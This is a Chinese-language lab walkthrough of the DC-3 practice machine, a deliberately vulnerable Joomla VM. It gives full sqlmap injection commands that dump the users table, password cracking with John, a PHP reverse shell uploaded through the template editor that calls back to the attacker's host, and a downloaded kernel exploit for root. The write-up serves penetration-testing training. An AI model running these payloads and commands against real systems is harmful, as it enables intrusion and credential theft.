DC-3
字数 1173 2025-08-10 22:27:01
DC-3靶场渗透测试教学文档
1. 环境准备
靶机下载与配置
- 下载地址: https://www.five86.com/downloads.html
- 使用VMware打开下载的靶机镜像
- 网络模式: NAT模式
- 靶机IP: 192.168.229.170 (通过扫描获得)
攻击机配置
- 使用Kali Linux作为攻击机
- IP地址: 192.168.229.130
2. 信息收集阶段
网络扫描
-
使用arp-scan发现靶机IP:
sudo arp-scan -l -
使用nmap进行端口和服务扫描:
nmap -sV 192.168.229.170- 发现开放80端口
Web应用识别
-
访问网站发现Joomla框架
-
使用whatweb识别网站信息:
whatweb http://192.168.229.170:80/ -
发现管理员登录页面:
http://192.168.229.170/administrator/index.php -
目录扫描:
dirsearch --url http://192.168.229.170:80/
3. 漏洞扫描与利用
Joomla扫描
-
使用joomscan扫描:
joomscan --url http://192.168.229.170:80/- 识别版本: Joomla 3.7.0
-
搜索已知漏洞:
searchsploit joomla 3.7.0- 发现SQL注入漏洞(42033.txt)
SQL注入利用
-
查看漏洞详情:
searchsploit -x php/webapps/42033.txt -
使用sqlmap进行注入:
-
获取数据库名:
sqlmap -u "http://192.168.229.170:80/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]- 发现数据库: joomladb
-
获取表名:
sqlmap -u "http://192.168.229.170:80/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]- 关键表: #__users
-
获取字段名:
sqlmap -u "http://192.168.229.170:80/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D'joomladb' -T'#__users' -columns -p list[fullordering]- 关键字段: username, password
-
获取用户凭证:
sqlmap -u "http://192.168.229.170:80/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D'joomladb' -T'#__users' -C 'username,password' -dump -p list[fullordering]
-
-
破解密码:
- 保存密码到passwd.txt
- 使用john破解:
john passwd.txt john --show passwd.txt - 获得密码: snoopy
4. 获取初始访问权限
-
使用获得的凭证登录管理员后台:
http://192.168.229.170/administrator/index.php -
通过模板编辑功能上传webshell:
- 创建shell.php文件:
<?php $sock = fsockopen("192.168.229.130", "6666"); $descriptorspec = array( 0 => $sock, 1 => $sock, 2 => $sock ); $process = proc_open('/bin/sh', $descriptorspec, $pipes); proc_close($process); ?> - 上传到模板目录: templates/beez3/
- 创建shell.php文件:
-
在Kali上设置监听:
nc -lvnp 6666 -
访问webshell触发反弹:
http://192.168.229.170/templates/beez3/shell.php -
获取交互式shell:
python -c 'import pty;pty.spawn("/bin/bash");'
5. 权限提升
系统信息收集
- 查看系统版本:
cat /etc/*release cat /proc/version- 识别为Ubuntu 16.04系统
搜索本地提权漏洞
-
搜索Ubuntu 16.04漏洞:
searchsploit Ubuntu 16.04- 发现可用漏洞: 39772.txt (ebpf_mapfd_doubleput)
-
查看漏洞详情:
searchsploit -x linux/local/39772.txt
编译并利用漏洞
-
下载漏洞利用代码:
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip unzip 39772.zip unzip 39772.rar -
在Kali上启动HTTP服务:
python -m http.server 8888 -
在靶机上下载利用程序:
wget http://192.168.229.130:8888/ebpf_mapfd_doubleput_exploit -
编译并执行:
cd ebpf_mapfd_doubleput_exploit ./compile.sh ./doubleput -
验证root权限:
whoami
6. 获取flag
进入root目录查看flag:
cd /root
ls
cat flag.txt
关键知识点总结
-
信息收集技术:
- arp-scan用于发现本地网络主机
- nmap用于端口和服务扫描
- whatweb用于识别Web应用框架
- dirsearch用于目录扫描
-
漏洞识别与利用:
- joomscan用于Joomla框架扫描
- searchsploit用于搜索已知漏洞
- sqlmap用于自动化SQL注入
-
密码破解:
- john the ripper用于破解哈希
-
Webshell上传与利用:
- 通过CMS后台功能上传webshell
- 使用PHP反向连接shell
-
权限提升技术:
- 内核漏洞识别与利用
- 本地提权漏洞编译与执行
-
后渗透技术:
- 获取交互式shell
- 稳定shell会话技术